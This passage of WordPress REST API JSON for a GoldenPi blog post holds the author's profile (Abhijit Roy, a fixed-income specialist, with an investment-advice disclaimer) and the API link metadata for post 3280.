GoldenPi","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/goldenpi.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/753eff78609551874c9773d3bee5eeab7bba3aa40f99a8b2405592eed9d9df89?s=96&d=https%3A%2F%2Fd2zny4996dl67j.cloudfront.net%2Fblogs%2Fwp-content%2Fuploads%2F2026%2F01%2F12111941%2FAbhijit-512x512-1-1-150x150.png&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/753eff78609551874c9773d3bee5eeab7bba3aa40f99a8b2405592eed9d9df89?s=96&d=https%3A%2F%2Fd2zny4996dl67j.cloudfront.net%2Fblogs%2Fwp-content%2Fuploads%2F2026%2F01%2F12111941%2FAbhijit-512x512-1-1-150x150.png&r=g","caption":"Abhijit Roy, CEO &amp; CO-Founder - GoldenPi"},"description":"With over 15 years of experience across fixed income and debt markets, he brings deep domain expertise along with a strong focus on investor education and transparency. An alumnus of IIT Kharagpur and IIM Calcutta, his views are personal and should not be considered investment advice.","sameAs":["goldenpitech","https:\/\/www.linkedin.com\/company\/goldenpi\/","https:\/\/x.com\/GoldenPiTech"],"url":"https:\/\/goldenpi.com\/blog\/author\/goldenpi\/"}]}},"post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/goldenpi.com\/blog\/wp-json\/wp\/v2\/posts\/3280","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/goldenpi.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/goldenpi.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/goldenpi.com\/blog\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/goldenpi.com\/blog\/wp-json\/wp\/v2\/comments?post=3280"}],"version-history":[{"count":31,"href":"https:\/\/goldenpi.com\/blog\/wp-json\/wp\/v2\/posts\/3280\/revisions"}],"predecessor-version":[{"id":12714,"href":"https:\/\/goldenpi.com\/blog\/wp-json\/wp\/v2\/posts\/3280\/revisions\/12714"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/goldenpi.com\/blog\/wp-json\/wp\/v2\/media\/12134"}],"wp:attachment":[{"href":"https:\/\/goldenpi.com\/blog\/wp-json\/wp\/v2\/media?parent=3280"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/goldenpi.com\/blog\/wp-json\/wp\/v2\/categories?post=3280"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/goldenpi.com\/blog\/wp-json\/wp\/v2\/tags?post=3280"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}